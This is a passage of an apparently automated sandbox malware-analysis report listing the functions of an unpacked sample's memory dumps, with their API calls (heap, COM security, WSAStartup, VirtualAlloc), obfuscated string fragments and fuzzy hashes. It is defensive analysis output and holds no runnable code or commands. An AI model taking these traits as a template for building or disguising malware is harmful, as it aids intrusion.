Instruction Fuzzy Hash: 6B21A4705047918BD7268B24C460732BBE1BF5B704F1895DFD4D38B786CA78A446C766

Function 004EE0A0 Relevance: 1.5, APIs: 1, Instructions: 31memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(?,00000000), ref: 004EE0E0

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cd170c2ac302403ad436053d28137f2b40c72b8809006c3b51b778704ead548e
Instruction ID: 20cd6967ff0c1c912bc18a4c63b1a8262a2adef5423f1c0bcc762f1d819b0b17
Opcode Fuzzy Hash: cd170c2ac302403ad436053d28137f2b40c72b8809006c3b51b778704ead548e
Instruction Fuzzy Hash: 7FF0A072824261FBC2102F2ABD05A6B3AA4AFC2762F05043AF40056121DA39EC26C69A

Function 004BEC77 Relevance: 1.5, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CoInitializeSecurity.COMBASE(00000000,000000FF,00000000,00000000,00000000,00000003,00000000,00000000,00000000), ref: 004BECA2

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: InitializeSecurity
String ID:
API String ID: 640775948-0
Opcode ID: b26ce2665f7930618c4d536267b84bd6bbc2fcae0e8112e0a4b69325d3d82139
Instruction ID: aa6de898140bd0841473bdc24fa13ee6c1656971e63946268ff164884af6de25
Opcode Fuzzy Hash: b26ce2665f7930618c4d536267b84bd6bbc2fcae0e8112e0a4b69325d3d82139
Instruction Fuzzy Hash: E2E092343DA3827AF6798614DC63F2621165B82F29E306714B7253E3D4CBD43111800E

Function 004E0B2B Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004E0B74

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c69d6b76b8f0133e40c5b466772ae55e81ceeea89e0855340572e820ed427282
Instruction ID: 7eb74efdeef5cafdbec9a363934775726d2e3a73834b2c35facabd216eec5fce
Opcode Fuzzy Hash: c69d6b76b8f0133e40c5b466772ae55e81ceeea89e0855340572e820ed427282
Instruction Fuzzy Hash: 7DF0DAB4209701CFE344DF28D5A471ABBF0FB88304F10885CE4968B3A0CB75AA58CF82

Function 004E28EB Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

CoSetProxyBlanket.COMBASE ref: 004E292F

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: BlanketProxy
String ID:
API String ID: 3890896728-0
Opcode ID: c05f43524662f995b24839caf88fd0efd5b2073984088e31aba07388e40621e9
Instruction ID: 77702fecac514a037c97fd7f02f6749e4dcf466f3d0882611e2dbee19e0560a7
Opcode Fuzzy Hash: c05f43524662f995b24839caf88fd0efd5b2073984088e31aba07388e40621e9
Instruction Fuzzy Hash: F7F07A745083418FD314DF24C5A871BBBE0BB84308F10891DE5998B390C7B59559CF82

Function 004B9EB7 Relevance: 1.5, APIs: 1, Instructions: 18networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 004B9ED2

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: Startup
String ID:
API String ID: 724789610-0
Opcode ID: 082a26bdbfbd95bc038937dce31465925cffb8236887c31f70dd89087e485fbb
Instruction ID: 0473881d8749e85769a7ef375932c9bb0736fa42db6d375406fd4a2953e99c8e
Opcode Fuzzy Hash: 082a26bdbfbd95bc038937dce31465925cffb8236887c31f70dd89087e485fbb
Instruction Fuzzy Hash: 1EE02B736406029BD700DB38FC47E693357DB553467068439E605C1171EA72A430DA14

Function 004EC570 Relevance: 1.5, APIs: 1, Instructions: 15memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,00000000,?,004EE0F9), ref: 004EC590

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 4c879d11896cebc382b10f02faeeb223505864200bcf529e8ef86d2248a80d7c
Instruction ID: 22fc7de55699721c32fbfd81e1584d3e12663e7d8e6bff2927b47e0399df0a4a
Opcode Fuzzy Hash: 4c879d11896cebc382b10f02faeeb223505864200bcf529e8ef86d2248a80d7c
Instruction Fuzzy Hash: 78D01231415132FBC6102F29BC05BDB3B54DF59321F0708A2F444AA075CB25EC91DAD4

Function 004EC55C Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000), ref: 004EC561

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 3d2e11549d67db5f34bbd98719c9330b84d91cd40a2321c20b860d93e2332cfb
Instruction ID: 616a7957ea6e66f27150172a8ade657e95a797a25405532034f46ee48cdf639d
Opcode Fuzzy Hash: 3d2e11549d67db5f34bbd98719c9330b84d91cd40a2321c20b860d93e2332cfb
Instruction Fuzzy Hash: 67A001711845109ADA562B24BC09B887A21AB68621F124192E101590B68A62989AAA84

Function 00509C7F Relevance: 1.3, APIs: 1, Instructions: 19memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 0050A1FF

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: e434b2774f26e37eb4ba5e44beb9905b8c3fbe212e39da4ad1742b80fa5669c7
Instruction ID: 47e3b7fe7e8cc19025b4424c209586c2b52aeb90c2177f405b7180e0bc222cdf
Opcode Fuzzy Hash: e434b2774f26e37eb4ba5e44beb9905b8c3fbe212e39da4ad1742b80fa5669c7
Instruction Fuzzy Hash: 1CE01A35608249CBDB08AF38C45A2BE7BA1FF90311F254A1DDAA3826D0D7710CA0CA0B

Function 00509934 Relevance: 1.3, APIs: 1, Instructions: 11memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000), ref: 00509A10

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 56291ddb5424cda6ac6cf36798c632f50168b7294b837205248ab37655f4c8de
Instruction ID: f61a75e60e2c491fcf8246852a59aac37f8b278f1fd821777106f9f1a6909b5b
Opcode Fuzzy Hash: 56291ddb5424cda6ac6cf36798c632f50168b7294b837205248ab37655f4c8de
Instruction Fuzzy Hash: 7FD0C9B010CA09DFD7406F1184846BDBFE0FF24340F214C2CE8C5A1294E2305850EB12

Non-executed Functions

Function 004D42D0 Relevance: 43.1, APIs: 2, Strings: 22, Instructions: 1129COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004D43AA
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004D443E

Strings

<j:h, xrefs: 004D5975
+$e, xrefs: 004D4365, 004D437A
y{, xrefs: 004D5B36
bFM, xrefs: 004D464E
+$e, xrefs: 004D43FA, 004D442B
n l, xrefs: 004D596A
13, xrefs: 004D5BFC
=?, xrefs: 004D5BF1
DD, xrefs: 004D5CEE
Xs, xrefs: 004D5CD8
r:i8, xrefs: 004D5899
N~4|, xrefs: 004D593E
b`, xrefs: 004D55F9
uw, xrefs: 004D5B57
e>n<, xrefs: 004D588E
gd, xrefs: 004D5E60
ut, xrefs: 004D5CE3
tj, xrefs: 004D53BE
REM, xrefs: 004D4542
%r?p, xrefs: 004D595F
|r, xrefs: 004D53A8
=:, xrefs: 004D57CE

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +$e$+$e$ n l$%r?p$<j:h$=:$DD$N~4|$REM$Xs$bFM$e>n<$gd$r:i8$ut$13$=?$b`$tj$uw$y{$|r
API String ID: 237503144-1296415331
Opcode ID: 4c38ba35dafa76217cc8836a14582cd4f8e37fc3aa82a3720fe0eb132ffd4567
Instruction ID: b66060cb7308b5eda924298af3ef131d88b71aeab33d010d813e096c44777baf
Opcode Fuzzy Hash: 4c38ba35dafa76217cc8836a14582cd4f8e37fc3aa82a3720fe0eb132ffd4567
Instruction Fuzzy Hash: 87C20CB560C3848AD334CF54C8527DFBAF2EB82304F00892DD5E96B355D7B5864A8B9B

Function 004D4560 Relevance: 39.6, APIs: 1, Strings: 21, Instructions: 1081COMMON

Download Yara Rule

Strings

<j:h, xrefs: 004D5975
y{, xrefs: 004D5B36
bFM, xrefs: 004D464E
+$e, xrefs: 004D442B
n l, xrefs: 004D596A
13, xrefs: 004D5BFC
=?, xrefs: 004D5BF1
DD, xrefs: 004D5CEE
Xs, xrefs: 004D5CD8
r:i8, xrefs: 004D5899
N~4|, xrefs: 004D593E
b`, xrefs: 004D55F9
uw, xrefs: 004D5B57
e>n<, xrefs: 004D588E
gd, xrefs: 004D5E60
ut, xrefs: 004D5CE3
tj, xrefs: 004D53BE
REM, xrefs: 004D4542
%r?p, xrefs: 004D595F
|r, xrefs: 004D53A8
=:, xrefs: 004D57CE

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: +$e$ n l$%r?p$<j:h$=:$DD$N~4|$REM$Xs$bFM$e>n<$gd$r:i8$ut$13$=?$b`$tj$uw$y{$|r
API String ID: 0-3493073112
Opcode ID: 43884cea24eb1300a985ecff35bfed3e4168c3b131ac0838db4332005aefabe3
Instruction ID: 984a4730c0713bdb9c29853094758adb994056e584b69f57788a421e5bf6cc8f
Opcode Fuzzy Hash: 43884cea24eb1300a985ecff35bfed3e4168c3b131ac0838db4332005aefabe3
Instruction Fuzzy Hash: 4AC20CB560C3848AE334CF54C852BDFBAF2EB82304F00892DD5E96B355D7B546498B9B

Function 004C60E9 Relevance: 17.1, Strings: 13, Instructions: 807COMMON

Download Yara Rule

Strings

3F&D, xrefs: 004C6273
pt}w, xrefs: 004C61F2
{zdy, xrefs: 004C611D
~mfQ, xrefs: 004C613E
t~v:, xrefs: 004C61E7
qRb`, xrefs: 004C6133
w}MI, xrefs: 004C6128
L4, xrefs: 004C6BA0
*,-", xrefs: 004C66EF
uqrs, xrefs: 004C6AF0
JyTK, xrefs: 004C6160
ntxE, xrefs: 004C6112
L4, xrefs: 004C6780

Memory Dump Source

Source File: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: *,-"$3F&D$JyTK$ntxE$pt}w$qRb`$t~v:$uqrs$w}MI${zdy$~mfQ$L4$L4
API String ID: 0-2746398225
Opcode ID: 1ad2046644fa8d56428c271e529fabdfcbb71eae8ba9be8aad99e488b7e6314c
Instruction ID: 4bd228968a9ddedfcfde1fc41cea84d8df993072732fa07ccca6a535681278aa
Opcode Fuzzy Hash: 1ad2046644fa8d56428c271e529fabdfcbb71eae8ba9be8aad99e488b7e6314c
Instruction Fuzzy Hash: 4C4245B66083508FD7248F28D891BABB7E2BFD5304F1A893ED4D987355D7389806CB46

Function 0067E295 Relevance: 9.1, Strings: 6, Instructions: 1622COMMON

Download Yara Rule

Strings

aV{~, xrefs: 0067F310
Sy^, xrefs: 0067E8B1
~ G_, xrefs: 0067F488
*b?, xrefs: 0067EA80
FX;, xrefs: 0067EC96
2K;[, xrefs: 0067E5AD

Memory Dump Source

Source File: 00000000.00000002.1670417640.0000000000505000.00000040.00000001.01000000.00000003.sdmp, Offset: 004B0000, based on PE: true

Associated: 00000000.00000002.1670331032.00000000004B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670352087.00000000004F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670400714.0000000000503000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000690000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.0000000000774000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670417640.00000000007B5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670844921.00000000007B6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1670988874.0000000000959000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1671013969.000000000095A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b0000_Wvo9FU4qo9.jbxd

Similarity

API ID:
String ID: *b?$2K;[$FX;$Sy^$aV{~$~ G_
API String ID: 0-2395092767
